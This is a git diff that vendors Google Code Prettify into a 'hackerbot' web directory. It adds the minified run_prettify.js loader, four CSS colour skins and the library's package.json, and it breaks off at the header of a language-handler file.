+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+(function(){function ba(g){function k(){try{M.doScroll("left")}catch(g){t.setTimeout(k,50);return}z("poll")}function z(k){if("readystatechange"!=k.type||"complete"==A.readyState)("load"==k.type?t:A)[B](p+k.type,z,!1),!q&&(q=!0)&&g.call(t,k.type||k)}var Y=A.addEventListener,q=!1,C=!0,x=Y?"addEventListener":"attachEvent",B=Y?"removeEventListener":"detachEvent",p=Y?"":"on";if("complete"==A.readyState)g.call(t,"lazy");else{if(A.createEventObject&&M.doScroll){try{C=!t.frameElement}catch(da){}C&&k()}A[x](p+
+"DOMContentLoaded",z,!1);A[x](p+"readystatechange",z,!1);t[x](p+"load",z,!1)}}function U(){V&&ba(function(){var g=N.length;ca(g?function(){for(var k=0;k<g;++k)(function(g){t.setTimeout(function(){t.exports[N[g]].apply(t,arguments)},0)})(k)}:void 0)})}for(var t=window,A=document,M=A.documentElement,O=A.head||A.getElementsByTagName("head")[0]||M,B="",F=A.getElementsByTagName("script"),q=F.length;0<=--q;){var P=F[q],Z=P.src.match(/^[^?#]*\/run_prettify\.js(\?[^#]*)?(?:#.*)?$/);if(Z){B=Z[1]||"";P.parentNode.removeChild(P);
+break}}var V=!0,H=[],Q=[],N=[];B.replace(/[?&]([^&=]+)=([^&]+)/g,function(g,k,z){z=decodeURIComponent(z);k=decodeURIComponent(k);"autorun"==k?V=!/^[0fn]/i.test(z):"lang"==k?H.push(z):"skin"==k?Q.push(z):"callback"==k&&N.push(z)});q=0;for(B=H.length;q<B;++q)(function(){var g=A.createElement("script");g.onload=g.onerror=g.onreadystatechange=function(){!g||g.readyState&&!/loaded|complete/.test(g.readyState)||(g.onerror=g.onload=g.onreadystatechange=null,--T,T||t.setTimeout(U,0),g.parentNode&&g.parentNode.removeChild(g),
+g=null)};g.type="text/javascript";g.src="https://cdn.rawgit.com/google/code-prettify/master/loader/lang-"+encodeURIComponent(H[q])+".js";O.insertBefore(g,O.firstChild)})(H[q]);for(var T=H.length,F=[],q=0,B=Q.length;q<B;++q)F.push("https://cdn.rawgit.com/google/code-prettify/master/loader/skins/"+encodeURIComponent(Q[q])+".css");F.push("https://cdn.rawgit.com/google/code-prettify/master/loader/prettify.css");(function(g){function k(q){if(q!==z){var t=A.createElement("link");t.rel="stylesheet";t.type=
+"text/css";q+1<z&&(t.error=t.onerror=function(){k(q+1)});t.href=g[q];O.appendChild(t)}}var z=g.length;k(0)})(F);var ca=function(){window.PR_SHOULD_USE_CONTINUATION=!0;var g;(function(){function k(a){function d(e){var b=e.charCodeAt(0);if(92!==b)return b;var a=e.charAt(1);return(b=W[a])?b:"0"<=a&&"7">=a?parseInt(e.substring(1),8):"u"===a||"x"===a?parseInt(e.substring(2),16):e.charCodeAt(1)}function f(e){if(32>e)return(16>e?"\\x0":"\\x")+e.toString(16);e=String.fromCharCode(e);return"\\"===e||"-"===
+e||"]"===e||"^"===e?"\\"+e:e}function b(e){var b=e.substring(1,e.length-1).match(/\\u[0-9A-Fa-f]{4}|\\x[0-9A-Fa-f]{2}|\\[0-3][0-7]{0,2}|\\[0-7]{1,2}|\\[\s\S]|-|[^-\\]/g);e=[];var a="^"===b[0],c=["["];a&&c.push("^");for(var a=a?1:0,h=b.length;a<h;++a){var l=b[a];if(/\\[bdsw]/i.test(l))c.push(l);else{var l=d(l),n;a+2<h&&"-"===b[a+1]?(n=d(b[a+2]),a+=2):n=l;e.push([l,n]);65>n||122<l||(65>n||90<l||e.push([Math.max(65,l)|32,Math.min(n,90)|32]),97>n||122<l||e.push([Math.max(97,l)&-33,Math.min(n,122)&-33]))}}e.sort(function(e,
+a){return e[0]-a[0]||a[1]-e[1]});b=[];h=[];for(a=0;a<e.length;++a)l=e[a],l[0]<=h[1]+1?h[1]=Math.max(h[1],l[1]):b.push(h=l);for(a=0;a<b.length;++a)l=b[a],c.push(f(l[0])),l[1]>l[0]&&(l[1]+1>l[0]&&c.push("-"),c.push(f(l[1])));c.push("]");return c.join("")}function g(e){for(var a=e.source.match(/(?:\[(?:[^\x5C\x5D]|\\[\s\S])*\]|\\u[A-Fa-f0-9]{4}|\\x[A-Fa-f0-9]{2}|\\[0-9]+|\\[^ux0-9]|\(\?[:!=]|[\(\)\^]|[^\x5B\x5C\(\)\^]+)/g),c=a.length,d=[],h=0,l=0;h<c;++h){var n=a[h];"("===n?++l:"\\"===n.charAt(0)&&(n=
++n.substring(1))&&(n<=l?d[n]=-1:a[h]=f(n))}for(h=1;h<d.length;++h)-1===d[h]&&(d[h]=++k);for(l=h=0;h<c;++h)n=a[h],"("===n?(++l,d[l]||(a[h]="(?:")):"\\"===n.charAt(0)&&(n=+n.substring(1))&&n<=l&&(a[h]="\\"+d[n]);for(h=0;h<c;++h)"^"===a[h]&&"^"!==a[h+1]&&(a[h]="");if(e.ignoreCase&&I)for(h=0;h<c;++h)n=a[h],e=n.charAt(0),2<=n.length&&"["===e?a[h]=b(n):"\\"!==e&&(a[h]=n.replace(/[a-zA-Z]/g,function(a){a=a.charCodeAt(0);return"["+String.fromCharCode(a&-33,a|32)+"]"}));return a.join("")}for(var k=0,I=!1,
+m=!1,J=0,c=a.length;J<c;++J){var r=a[J];if(r.ignoreCase)m=!0;else if(/[a-z]/i.test(r.source.replace(/\\u[0-9a-f]{4}|\\x[0-9a-f]{2}|\\[^ux]/gi,""))){I=!0;m=!1;break}}for(var W={b:8,t:9,n:10,v:11,f:12,r:13},u=[],J=0,c=a.length;J<c;++J){r=a[J];if(r.global||r.multiline)throw Error(""+r);u.push("(?:"+g(r)+")")}return new RegExp(u.join("|"),m?"gi":"g")}function q(a,d){function f(a){var c=a.nodeType;if(1==c){if(!b.test(a.className)){for(c=a.firstChild;c;c=c.nextSibling)f(c);c=a.nodeName.toLowerCase();if("br"===
+c||"li"===c)g[m]="\n",I[m<<1]=k++,I[m++<<1|1]=a}}else if(3==c||4==c)c=a.nodeValue,c.length&&(c=d?c.replace(/\r\n?/g,"\n"):c.replace(/[ \t\r\n]+/g," "),g[m]=c,I[m<<1]=k,k+=c.length,I[m++<<1|1]=a)}var b=/(?:^|\s)nocode(?:\s|$)/,g=[],k=0,I=[],m=0;f(a);return{a:g.join("").replace(/\n$/,""),c:I}}function t(a,d,f,b,g){f&&(a={h:a,l:1,j:null,m:null,a:f,c:null,i:d,g:null},b(a),g.push.apply(g,a.g))}function A(a){for(var d=void 0,f=a.firstChild;f;f=f.nextSibling)var b=f.nodeType,d=1===b?d?a:f:3===b?T.test(f.nodeValue)?
+a:d:d;return d===a?void 0:d}function C(a,d){function f(a){for(var m=a.i,k=a.h,c=[m,"pln"],r=0,W=a.a.match(g)||[],u={},e=0,q=W.length;e<q;++e){var D=W[e],w=u[D],h=void 0,l;if("string"===typeof w)l=!1;else{var n=b[D.charAt(0)];if(n)h=D.match(n[1]),w=n[0];else{for(l=0;l<p;++l)if(n=d[l],h=D.match(n[1])){w=n[0];break}h||(w="pln")}!(l=5<=w.length&&"lang-"===w.substring(0,5))||h&&"string"===typeof h[1]||(l=!1,w="src");l||(u[D]=w)}n=r;r+=D.length;if(l){l=h[1];var E=D.indexOf(l),G=E+l.length;h[2]&&(G=D.length-
+h[2].length,E=G-l.length);w=w.substring(5);t(k,m+n,D.substring(0,E),f,c);t(k,m+n+E,l,F(w,l),c);t(k,m+n+G,D.substring(G),f,c)}else c.push(m+n,w)}a.g=c}var b={},g;(function(){for(var f=a.concat(d),m=[],p={},c=0,r=f.length;c<r;++c){var q=f[c],u=q[3];if(u)for(var e=u.length;0<=--e;)b[u.charAt(e)]=q;q=q[1];u=""+q;p.hasOwnProperty(u)||(m.push(q),p[u]=null)}m.push(/[\0-\uffff]/);g=k(m)})();var p=d.length;return f}function x(a){var d=[],f=[];a.tripleQuotedStrings?d.push(["str",/^(?:\'\'\'(?:[^\'\\]|\\[\s\S]|\'{1,2}(?=[^\']))*(?:\'\'\'|$)|\"\"\"(?:[^\"\\]|\\[\s\S]|\"{1,2}(?=[^\"]))*(?:\"\"\"|$)|\'(?:[^\\\']|\\[\s\S])*(?:\'|$)|\"(?:[^\\\"]|\\[\s\S])*(?:\"|$))/,
+null,"'\""]):a.multiLineStrings?d.push(["str",/^(?:\'(?:[^\\\']|\\[\s\S])*(?:\'|$)|\"(?:[^\\\"]|\\[\s\S])*(?:\"|$)|\`(?:[^\\\`]|\\[\s\S])*(?:\`|$))/,null,"'\"`"]):d.push(["str",/^(?:\'(?:[^\\\'\r\n]|\\.)*(?:\'|$)|\"(?:[^\\\"\r\n]|\\.)*(?:\"|$))/,null,"\"'"]);a.verbatimStrings&&f.push(["str",/^@\"(?:[^\"]|\"\")*(?:\"|$)/,null]);var b=a.hashComments;b&&(a.cStyleComments?(1<b?d.push(["com",/^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/,null,"#"]):d.push(["com",/^#(?:(?:define|e(?:l|nd)if|else|error|ifn?def|include|line|pragma|undef|warning)\b|[^\r\n]*)/,
+null,"#"]),f.push(["str",/^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h(?:h|pp|\+\+)?|[a-z]\w*)>/,null])):d.push(["com",/^#[^\r\n]*/,null,"#"]));a.cStyleComments&&(f.push(["com",/^\/\/[^\r\n]*/,null]),f.push(["com",/^\/\*[\s\S]*?(?:\*\/|$)/,null]));if(b=a.regexLiterals){var g=(b=1<b?"":"\n\r")?".":"[\\S\\s]";f.push(["lang-regex",RegExp("^(?:^^\\.?|[+-]|[!=]=?=?|\\#|%=?|&&?=?|\\(|\\*=?|[+\\-]=|->|\\/=?|::?|<<?=?|>>?>?=?|,|;|\\?|@|\\[|~|{|\\^\\^?=?|\\|\\|?=?|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\\s*("+
+("/(?=[^/*"+b+"])(?:[^/\\x5B\\x5C"+b+"]|\\x5C"+g+"|\\x5B(?:[^\\x5C\\x5D"+b+"]|\\x5C"+g+")*(?:\\x5D|$))+/")+")")])}(b=a.types)&&f.push(["typ",b]);b=(""+a.keywords).replace(/^ | $/g,"");b.length&&f.push(["kwd",new RegExp("^(?:"+b.replace(/[\s,]+/g,"|")+")\\b"),null]);d.push(["pln",/^\s+/,null," \r\n\t\u00a0"]);b="^.[^\\s\\w.$@'\"`/\\\\]*";a.regexLiterals&&(b+="(?!s*/)");f.push(["lit",/^@[a-z_$][a-z_$@0-9]*/i,null],["typ",/^(?:[@_]?[A-Z]+[a-z][A-Za-z_$@0-9]*|\w+_t\b)/,null],["pln",/^[a-z_$][a-z_$@0-9]*/i,
+null],["lit",/^(?:0x[a-f0-9]+|(?:\d(?:_\d+)*\d*(?:\.\d*)?|\.\d\+)(?:e[+\-]?\d+)?)[a-z]*/i,null,"0123456789"],["pln",/^\\[\s\S]?/,null],["pun",new RegExp(b),null]);return C(d,f)}function B(a,d,f){function b(a){var c=a.nodeType;if(1==c&&!k.test(a.className))if("br"===a.nodeName)g(a),a.parentNode&&a.parentNode.removeChild(a);else for(a=a.firstChild;a;a=a.nextSibling)b(a);else if((3==c||4==c)&&f){var d=a.nodeValue,p=d.match(q);p&&(c=d.substring(0,p.index),a.nodeValue=c,(d=d.substring(p.index+p[0].length))&&
+a.parentNode.insertBefore(m.createTextNode(d),a.nextSibling),g(a),c||a.parentNode.removeChild(a))}}function g(a){function b(a,c){var d=c?a.cloneNode(!1):a,n=a.parentNode;if(n){var n=b(n,1),e=a.nextSibling;n.appendChild(d);for(var f=e;f;f=e)e=f.nextSibling,n.appendChild(f)}return d}for(;!a.nextSibling;)if(a=a.parentNode,!a)return;a=b(a.nextSibling,0);for(var d;(d=a.parentNode)&&1===d.nodeType;)a=d;c.push(a)}for(var k=/(?:^|\s)nocode(?:\s|$)/,q=/\r\n?|\n/,m=a.ownerDocument,p=m.createElement("li");a.firstChild;)p.appendChild(a.firstChild);
+for(var c=[p],r=0;r<c.length;++r)b(c[r]);d===(d|0)&&c[0].setAttribute("value",d);var t=m.createElement("ol");t.className="linenums";d=Math.max(0,d-1|0)||0;for(var r=0,u=c.length;r<u;++r)p=c[r],p.className="L"+(r+d)%10,p.firstChild||p.appendChild(m.createTextNode("\u00a0")),t.appendChild(p);a.appendChild(t)}function p(a,d){for(var f=d.length;0<=--f;){var b=d[f];X.hasOwnProperty(b)?R.console&&console.warn("cannot override language handler %s",b):X[b]=a}}function F(a,d){a&&X.hasOwnProperty(a)||(a=/^\s*</.test(d)?
+"default-markup":"default-code");return X[a]}function H(a){var d=a.j;try{var f=q(a.h,a.l),b=f.a;a.a=b;a.c=f.c;a.i=0;F(d,b)(a);var g=/\bMSIE\s(\d+)/.exec(navigator.userAgent),g=g&&8>=+g[1],d=/\n/g,p=a.a,k=p.length,f=0,m=a.c,t=m.length,b=0,c=a.g,r=c.length,x=0;c[r]=k;var u,e;for(e=u=0;e<r;)c[e]!==c[e+2]?(c[u++]=c[e++],c[u++]=c[e++]):e+=2;r=u;for(e=u=0;e<r;){for(var A=c[e],D=c[e+1],w=e+2;w+2<=r&&c[w+1]===D;)w+=2;c[u++]=A;c[u++]=D;e=w}c.length=u;var h=a.h;a="";h&&(a=h.style.display,h.style.display="none");
+try{for(;b<t;){var l=m[b+2]||k,n=c[x+2]||k,w=Math.min(l,n),E=m[b+1],G;if(1!==E.nodeType&&(G=p.substring(f,w))){g&&(G=G.replace(d,"\r"));E.nodeValue=G;var aa=E.ownerDocument,v=aa.createElement("span");v.className=c[x+1];var B=E.parentNode;B.replaceChild(v,E);v.appendChild(E);f<l&&(m[b+1]=E=aa.createTextNode(p.substring(w,l)),B.insertBefore(E,v.nextSibling))}f=w;f>=l&&(b+=2);f>=n&&(x+=2)}}finally{h&&(h.style.display=a)}}catch(y){R.console&&console.log(y&&y.stack||y)}}var R=window,K=["break,continue,do,else,for,if,return,while"],
+L=[[K,"auto,case,char,const,default,double,enum,extern,float,goto,inline,int,long,register,restrict,short,signed,sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"],"catch,class,delete,false,import,new,operator,private,protected,public,this,throw,true,try,typeof"],S=[L,"alignas,alignof,align_union,asm,axiom,bool,concept,concept_map,const_cast,constexpr,decltype,delegate,dynamic_cast,explicit,export,friend,generic,late_check,mutable,namespace,noexcept,noreturn,nullptr,property,reinterpret_cast,static_assert,static_cast,template,typeid,typename,using,virtual,where"],
+M=[L,"abstract,assert,boolean,byte,extends,finally,final,implements,import,instanceof,interface,null,native,package,strictfp,super,synchronized,throws,transient"],N=[L,"abstract,add,alias,as,ascending,async,await,base,bool,by,byte,checked,decimal,delegate,descending,dynamic,event,finally,fixed,foreach,from,get,global,group,implicit,in,interface,internal,into,is,join,let,lock,null,object,out,override,orderby,params,partial,readonly,ref,remove,sbyte,sealed,select,set,stackalloc,string,select,uint,ulong,unchecked,unsafe,ushort,value,var,virtual,where,yield"],
+L=[L,"abstract,async,await,constructor,debugger,enum,eval,export,function,get,implements,instanceof,interface,let,null,set,undefined,var,with,yield,Infinity,NaN"],O=[K,"and,as,assert,class,def,del,elif,except,exec,finally,from,global,import,in,is,lambda,nonlocal,not,or,pass,print,raise,try,with,yield,False,True,None"],P=[K,"alias,and,begin,case,class,def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo,rescue,retry,self,super,then,true,undef,unless,until,when,yield,BEGIN,END"],K=[K,"case,done,elif,esac,eval,fi,function,in,local,set,then,until"],
+Q=/^(DIR|FILE|array|vector|(de|priority_)?queue|(forward_)?list|stack|(const_)?(reverse_)?iterator|(unordered_)?(multi)?(set|map)|bitset|u?(int|float)\d*)\b/,T=/\S/,U=x({keywords:[S,N,M,L,"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END",O,P,K],hashComments:!0,cStyleComments:!0,multiLineStrings:!0,regexLiterals:!0}),X={};p(U,["default-code"]);p(C([],[["pln",/^[^<?]+/],["dec",
+/^<!\w[^>]*(?:>|$)/],["com",/^<\!--[\s\S]*?(?:-\->|$)/],["lang-",/^<\?([\s\S]+?)(?:\?>|$)/],["lang-",/^<%([\s\S]+?)(?:%>|$)/],["pun",/^(?:<[%?]|[%?]>)/],["lang-",/^<xmp\b[^>]*>([\s\S]+?)<\/xmp\b[^>]*>/i],["lang-js",/^<script\b[^>]*>([\s\S]*?)(<\/script\b[^>]*>)/i],["lang-css",/^<style\b[^>]*>([\s\S]*?)(<\/style\b[^>]*>)/i],["lang-in.tag",/^(<\/?[a-z][^<>]*>)/i]]),"default-markup htm html mxml xhtml xml xsl".split(" "));p(C([["pln",/^[\s]+/,null," \t\r\n"],["atv",/^(?:\"[^\"]*\"?|\'[^\']*\'?)/,null,
+"\"'"]],[["tag",/^^<\/?[a-z](?:[\w.:-]*\w)?|\/?>$/i],["atn",/^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i],["lang-uq.val",/^=\s*([^>\'\"\s]*(?:[^>\'\"\s\/]|\/(?=\s)))/],["pun",/^[=<>\/]+/],["lang-js",/^on\w+\s*=\s*\"([^\"]+)\"/i],["lang-js",/^on\w+\s*=\s*\'([^\']+)\'/i],["lang-js",/^on\w+\s*=\s*([^\"\'>\s]+)/i],["lang-css",/^style\s*=\s*\"([^\"]+)\"/i],["lang-css",/^style\s*=\s*\'([^\']+)\'/i],["lang-css",/^style\s*=\s*([^\"\'>\s]+)/i]]),["in.tag"]);p(C([],[["atv",/^[\s\S]+/]]),["uq.val"]);p(x({keywords:S,
+hashComments:!0,cStyleComments:!0,types:Q}),"c cc cpp cxx cyc m".split(" "));p(x({keywords:"null,true,false"}),["json"]);p(x({keywords:N,hashComments:!0,cStyleComments:!0,verbatimStrings:!0,types:Q}),["cs"]);p(x({keywords:M,cStyleComments:!0}),["java"]);p(x({keywords:K,hashComments:!0,multiLineStrings:!0}),["bash","bsh","csh","sh"]);p(x({keywords:O,hashComments:!0,multiLineStrings:!0,tripleQuotedStrings:!0}),["cv","py","python"]);p(x({keywords:"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END",
+hashComments:!0,multiLineStrings:!0,regexLiterals:2}),["perl","pl","pm"]);p(x({keywords:P,hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["rb","ruby"]);p(x({keywords:L,cStyleComments:!0,regexLiterals:!0}),["javascript","js","ts","typescript"]);p(x({keywords:"all,and,by,catch,class,else,extends,false,finally,for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then,throw,true,try,unless,until,when,while,yes",hashComments:3,cStyleComments:!0,multilineStrings:!0,tripleQuotedStrings:!0,
+regexLiterals:!0}),["coffee"]);p(C([],[["str",/^[\s\S]+/]]),["regex"]);var V=R.PR={createSimpleLexer:C,registerLangHandler:p,sourceDecorator:x,PR_ATTRIB_NAME:"atn",PR_ATTRIB_VALUE:"atv",PR_COMMENT:"com",PR_DECLARATION:"dec",PR_KEYWORD:"kwd",PR_LITERAL:"lit",PR_NOCODE:"nocode",PR_PLAIN:"pln",PR_PUNCTUATION:"pun",PR_SOURCE:"src",PR_STRING:"str",PR_TAG:"tag",PR_TYPE:"typ",prettyPrintOne:function(a,d,f){f=f||!1;d=d||null;var b=document.createElement("div");b.innerHTML="<pre>"+a+"</pre>";b=b.firstChild;
+f&&B(b,f,!0);H({j:d,m:f,h:b,l:1,a:null,i:null,c:null,g:null});return b.innerHTML},prettyPrint:g=g=function(a,d){function f(){for(var b=R.PR_SHOULD_USE_CONTINUATION?c.now()+250:Infinity;r<p.length&&c.now()<b;r++){for(var d=p[r],k=h,q=d;q=q.previousSibling;){var m=q.nodeType,v=(7===m||8===m)&&q.nodeValue;if(v?!/^\??prettify\b/.test(v):3!==m||/\S/.test(q.nodeValue))break;if(v){k={};v.replace(/\b(\w+)=([\w:.%+-]+)/g,function(a,b,c){k[b]=c});break}}q=d.className;if((k!==h||u.test(q))&&!e.test(q)){m=!1;
+for(v=d.parentNode;v;v=v.parentNode)if(w.test(v.tagName)&&v.className&&u.test(v.className)){m=!0;break}if(!m){d.className+=" prettyprinted";m=k.lang;if(!m){var m=q.match(t),C;!m&&(C=A(d))&&z.test(C.tagName)&&(m=C.className.match(t));m&&(m=m[1])}if(x.test(d.tagName))v=1;else var v=d.currentStyle,y=g.defaultView,v=(v=v?v.whiteSpace:y&&y.getComputedStyle?y.getComputedStyle(d,null).getPropertyValue("white-space"):0)&&"pre"===v.substring(0,3);y=k.linenums;(y="true"===y||+y)||(y=(y=q.match(/\blinenums\b(?::(\d+))?/))?
+y[1]&&y[1].length?+y[1]:!0:!1);y&&B(d,y,v);H({j:m,h:d,m:y,l:v,a:null,i:null,c:null,g:null})}}}r<p.length?R.setTimeout(f,250):"function"===typeof a&&a()}for(var b=d||document.body,g=b.ownerDocument||document,b=[b.getElementsByTagName("pre"),b.getElementsByTagName("code"),b.getElementsByTagName("xmp")],p=[],k=0;k<b.length;++k)for(var m=0,q=b[k].length;m<q;++m)p.push(b[k][m]);var b=null,c=Date;c.now||(c={now:function(){return+new Date}});var r=0,t=/\blang(?:uage)?-([\w.]+)(?!\S)/,u=/\bprettyprint\b/,
+e=/\bprettyprinted\b/,x=/pre|xmp/i,z=/^code$/i,w=/^(?:pre|code|xmp)$/i,h={};f()}},S=R.define;"function"===typeof S&&S.amd&&S("google-code-prettify",[],function(){return V})})();return g}();T||t.setTimeout(U,0)})();}()
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/skins/desert.css b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/skins/desert.css
new file mode 100644
index 000000000..951cd3241
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/skins/desert.css
@@ -0,0 +1 @@
+pre.prettyprint{display:block;background-color:#333}pre .nocode{background-color:none;color:#000}pre .str{color:#ffa0a0}pre .kwd{color:#f0e68c;font-weight:bold}pre .com{color:#87ceeb}pre .typ{color:#98fb98}pre .lit{color:#cd5c5c}pre .pun{color:#fff}pre .pln{color:#fff}pre .tag{color:#f0e68c;font-weight:bold}pre .atn{color:#bdb76b;font-weight:bold}pre .atv{color:#ffa0a0}pre .dec{color:#98fb98}ol.linenums{margin-top:0;margin-bottom:0;color:#aeaeae}li.L0,li.L1,li.L2,li.L3,li.L5,li.L6,li.L7,li.L8{list-style-type:none}@media print{pre.prettyprint{background-color:none}pre .str,code .str{color:#060}pre .kwd,code .kwd{color:#006;font-weight:bold}pre .com,code .com{color:#600;font-style:italic}pre .typ,code .typ{color:#404;font-weight:bold}pre .lit,code .lit{color:#044}pre .pun,code .pun{color:#440}pre .pln,code .pln{color:#000}pre .tag,code .tag{color:#006;font-weight:bold}pre .atn,code .atn{color:#404}pre .atv,code .atv{color:#060}}
\ No newline at end of file
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/skins/doxy.css b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/skins/doxy.css
new file mode 100644
index 000000000..6bb723517
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/skins/doxy.css
@@ -0,0 +1 @@
+pre .str,code .str{color:#fec243}pre .kwd,code .kwd{color:#8470ff}pre .com,code .com{color:#32cd32;font-style:italic}pre .typ,code .typ{color:#6ecbcc}pre .lit,code .lit{color:#d06}pre .pun,code .pun{color:#8b8970}pre .pln,code .pln{color:#f0f0f0}pre .tag,code .tag{color:#9c9cff}pre .htm,code .htm{color:#dda0dd}pre .xsl,code .xsl{color:#d0a0d0}pre .atn,code .atn{color:#46eeee;font-weight:normal}pre .atv,code .atv{color:#eeb4b4}pre .dec,code .dec{color:#3387cc}a{text-decoration:none}pre.prettyprint,code.prettyprint{font-family:'Droid Sans Mono','CPMono_v07 Bold','Droid Sans';font-weight:bold;font-size:9pt;background-color:#0f0f0f;-moz-border-radius:8px;-webkit-border-radius:8px;-o-border-radius:8px;-ms-border-radius:8px;-khtml-border-radius:8px;border-radius:8px}pre.prettyprint{width:95%;margin:1em auto;padding:1em;white-space:pre-wrap}pre.prettyprint a,code.prettyprint a{text-decoration:none}ol.linenums{margin-top:0;margin-bottom:0;color:#8b8970}li.L0,li.L1,li.L2,li.L3,li.L5,li.L6,li.L7,li.L8{list-style-type:none}@media print{pre.prettyprint,code.prettyprint{background-color:#fff}pre .str,code .str{color:#088}pre .kwd,code .kwd{color:#006;font-weight:bold}pre .com,code .com{color:#oc3;font-style:italic}pre .typ,code .typ{color:#404;font-weight:bold}pre .lit,code .lit{color:#044}pre .pun,code .pun{color:#440}pre .pln,code .pln{color:#000}pre .tag,code .tag{color:#b66ff7;font-weight:bold}pre .htm,code .htm{color:#606;font-weight:bold}pre .xsl,code .xsl{color:#606;font-weight:bold}pre .atn,code .atn{color:#c71585;font-weight:normal}pre .atv,code .atv{color:#088;font-weight:normal}}
\ No newline at end of file
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/skins/sons-of-obsidian.css b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/skins/sons-of-obsidian.css
new file mode 100644
index 000000000..36c3585eb
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/skins/sons-of-obsidian.css
@@ -0,0 +1 @@
+.str{color:#ec7600}.kwd{color:#93c763}.com{color:#66747b}.typ{color:#678cb1}.lit{color:#facd22}.pun{color:#f1f2f3}.pln{color:#f1f2f3}.tag{color:#8ac763}.atn{color:#e0e2e4}.atv{color:#ec7600}.dec{color:purple}pre.prettyprint{border:0 solid #888}ol.linenums{margin-top:0;margin-bottom:0}.prettyprint{background:#000}li.L0,li.L1,li.L2,li.L3,li.L4,li.L5,li.L6,li.L7,li.L8,li.L9{color:#555;list-style-type:decimal}li.L1,li.L3,li.L5,li.L7,li.L9{background:#111}@media print{.str{color:#060}.kwd{color:#006;font-weight:bold}.com{color:#600;font-style:italic}.typ{color:#404;font-weight:bold}.lit{color:#044}.pun{color:#440}.pln{color:#000}.tag{color:#006;font-weight:bold}.atn{color:#404}.atv{color:#060}}
\ No newline at end of file
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/skins/sunburst.css b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/skins/sunburst.css
new file mode 100644
index 000000000..c1be3de0b
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/skins/sunburst.css
@@ -0,0 +1 @@
+pre .str,code .str{color:#65b042}pre .kwd,code .kwd{color:#e28964}pre .com,code .com{color:#aeaeae;font-style:italic}pre .typ,code .typ{color:#89bdff}pre .lit,code .lit{color:#3387cc}pre .pun,code .pun{color:#fff}pre .pln,code .pln{color:#fff}pre .tag,code .tag{color:#89bdff}pre .atn,code .atn{color:#bdb76b}pre .atv,code .atv{color:#65b042}pre .dec,code .dec{color:#3387cc}pre.prettyprint,code.prettyprint{background-color:#000;border-radius:8px}pre.prettyprint{width:95%;margin:1em auto;padding:1em;white-space:pre-wrap}ol.linenums{margin-top:0;margin-bottom:0;color:#aeaeae}li.L0,li.L1,li.L2,li.L3,li.L5,li.L6,li.L7,li.L8{list-style-type:none}@media print{pre .str,code .str{color:#060}pre .kwd,code .kwd{color:#006;font-weight:bold}pre .com,code .com{color:#600;font-style:italic}pre .typ,code .typ{color:#404;font-weight:bold}pre .lit,code .lit{color:#044}pre .pun,code .pun{color:#440}pre .pln,code .pln{color:#000}pre .tag,code .tag{color:#006;font-weight:bold}pre .atn,code .atn{color:#404}pre .atv,code .atv{color:#060}}
\ No newline at end of file
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/package.json b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/package.json
new file mode 100644
index 000000000..19b79d55d
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/package.json
@@ -0,0 +1,59 @@
+{
+  "name": "code-prettify",
+  "version": "1.0.0",
+  "description": "Google Code Prettify",
+  "license": "Apache-2.0",
+  "homepage": "https://github.com/google/code-prettify",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/google/code-prettify.git"
+  },
+  "bugs": {
+    "url": "https://github.com/google/code-prettify/issues"
+  },
+  "keywords": [
+    "syntax",
+    "highlight",
+    "highlighting",
+    "source",
+    "code",
+    "prettify",
+    "google"
+  ],
+  "author": "Google",
+  "maintainers": [
+    "Mike Samuel <mikesamuel@gmail.com>"
+  ],
+  "contributors": [
+    "Amro <amroamroamro@gmail.com>"
+  ],
+  "main": "src/prettify.js",
+  "directories": {
+    "lib": "src",
+    "doc": "docs",
+    "example": "examples",
+    "test": "tests"
+  },
+  "files": [
+    "loader/",
+    "src/",
+    "styles/*.css",
+    "COPYING"
+  ],
+  "scripts": {
+    "grunt": "grunt",
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "devDependencies": {
+    "google-closure-compiler": "^20161201.0.0",
+    "grunt": "^1.0.1",
+    "grunt-contrib-clean": "^1.0.0",
+    "grunt-contrib-compress": "^1.3.0",
+    "grunt-contrib-copy": "^1.0.0",
+    "grunt-contrib-cssmin": "^1.0.2",
+    "grunt-contrib-uglify": "^2.0.0",
+    "grunt-preprocess": "^5.1.0",
+    "html-to-text": "^3.0.0",
+    "zombie": "^5.0.5"
+  }
+}
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-apollo.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-apollo.js
new file mode 100644
index 000000000..10df8cde0
--- /dev/null
